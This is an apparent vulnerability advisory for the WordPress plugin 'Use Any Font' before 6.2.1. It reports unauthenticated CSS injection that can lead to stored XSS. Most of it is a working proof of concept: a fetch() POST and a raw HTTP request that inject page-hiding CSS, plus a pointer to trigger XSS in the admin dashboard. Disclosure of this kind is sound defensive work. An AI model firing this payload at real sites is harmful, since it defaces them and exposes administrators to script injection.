Use Any Font < 6.2.1 - Unauthenticated Arbitrary CSS Appending

The plugin does not have any authorisation checks when assigning a font, allowing unauthenticated users to sent arbitrary CSS which will then be processed by the frontend for all users. Due to the lack of sanitisation and escaping in the backend, it could also lead to Stored XSS issues

PoC

fetch(“https://example.com/”, { “headers”: { “content-type”: “application/x-www-form-urlencoded” }, “body”: “submit-uaf-font-assign=x&elements;[]=body{background-image:url(data://image/gif;base64,R0lGODdhKAAoAIABAAAAAP///ywAAAAAKAAoAAACX4yPqcvtD6OctNqLs968GwB4DkheJUSeUxqObCu98CJTtZvaL6quucjoAYfEovGI9M2MrJjwccM9G9FglXpVyJa0LW9n9X635Gy4jOZK02YoW1x5NzNytYWdzOv3/GIBADs=);}div{display:none !important};&font;_key=1”, “method”: “POST”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data)); POST / HTTP/1.1 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-Length: 301 Connection: close submit-uaf-font-assign=x&elements;[]=body{background-image:url(data://image/gif;base64,R0lGODdhKAAoAIABAAAAAP///ywAAAAAKAAoAAACX4yPqcvtD6OctNqLs968GwB4DkheJUSeUxqObCu98CJTtZvaL6quucjoAYfEovGI9M2MrJjwccM9G9FglXpVyJa0LW9n9X635Gy4jOZK02YoW1x5NzNytYWdzOv3/GIBADs=);}div{display:none+!important};&font;_key=1 To perform XSS in the backend, use a payload such as in the elements[], then the XSS will be triggered when viewing the Assign Font dashboard (/wp-admin/admin.php?page=use-any-font&tab;=font_assign)